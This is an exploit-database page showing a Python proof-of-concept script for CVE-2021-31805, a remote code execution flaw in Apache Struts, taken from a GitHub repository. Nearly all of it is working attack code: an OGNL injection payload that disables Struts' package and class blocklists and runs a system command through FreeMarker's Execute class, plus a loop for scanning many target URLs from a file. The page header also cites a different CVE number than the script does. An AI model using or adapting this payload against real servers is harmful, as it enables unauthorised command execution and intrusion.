Exploit databaseDownload repository ZIP
GH-32ae49ed02a33a6dae45cd01cb71865a
jordanandjohn/cve-2021-31805-poc
Sources for CVE-2020-17530
15 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
jordanandjohn/cve-2021-31805-pocRevision bd0aab6e16b0
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-31805-POC.py
Python · 2,714 bytesimport requests
from optparse import OptionParser
requests.packages.urllib3.disable_warnings()
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
}
def Poc(url):
data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
try:
resp = requests.post(url,headers = headers, verify=False,timeout=3,data=data).text
if 'groups=' in str(resp):
print("="*70)
print("[*]可能存在漏洞!!! URL为:" + url)
else:
print("=" * 70)
print("[-]不存在漏洞")
except:
print("=" * 70)
print("[-]连接超时")
if __name__ == '__main__' :
parser = OptionParser(description="CVE-2021-31805-POC.py")
parser.add_option('-u',type='string',dest='url',help='target url for example : https://www.qq.com')
parser.add_option('-f', type='string', dest='file', help='scan urls , one url per line in file')
options,args = parser.parse_args()
if options.file:
for i in open(options.file,'r'):
Poc(i.strip())
else:
Poc(options.url)